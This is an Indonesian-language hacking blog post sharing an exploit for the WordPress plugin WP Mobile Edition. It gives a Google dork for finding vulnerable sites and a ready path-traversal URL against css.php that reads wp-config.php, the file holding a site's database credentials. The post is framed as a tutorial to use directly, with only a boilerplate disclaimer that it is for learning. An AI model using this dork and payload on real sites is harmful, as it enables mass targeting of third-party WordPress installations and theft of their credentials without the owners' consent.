Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability

Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability - Hai Semua, selamat datang di blog Noob1t4, Pada Artikel yang kalian baca kali ini dengan judul Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability, kami telah mempersiapkan artikel ini dengan baik untuk kalian baca dan ambil informasi didalamnya. mudah-mudahan isi postingan yang kami tulis ini dapat kalian pahami. baiklah, selamat membaca.

Yupp, kali ini mau share lagi exploit pada WordPress yang memiliki celah pada plugins WP Mobile Edition.

Plugin ‘WP Mobile Edition’ ini tidak memfilter parameter GET file di /themes/mTheme-Unus/css/css.php . Alhasil kita juga dapat melihat source dari konfigurasi WordPress yang terletak di wp-config.php .

Oke langsung saja.

Google Dorks :

inurl:?fdx_switcher=mobile

Exploit :

127.0.0.1/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

Tested on : BackBox Linux

Sekian tutor kali ini semoga bermanfaat.

Sumber http://noob1t4.blogspot.com/

Sekian Artikel Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability.

Terima kasih telah membaca artikel Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability, mudah-mudahan bisa memberi manfaat untuk kalian semua. Baiklah, sampai jumpa di postingan artikel lainnya.

Semua artikel tutorial di blog ini hanya untuk sebatas Pembelajaran dan Pengetahuan saja, jika kalian meyalahgunakan tutorial di blog ini, itu bukan tanggung jawab saya. Terima kasih sudah berkunjung ke blog Noob1t4, saya harap agan berkunjung kembali kesini

Share this post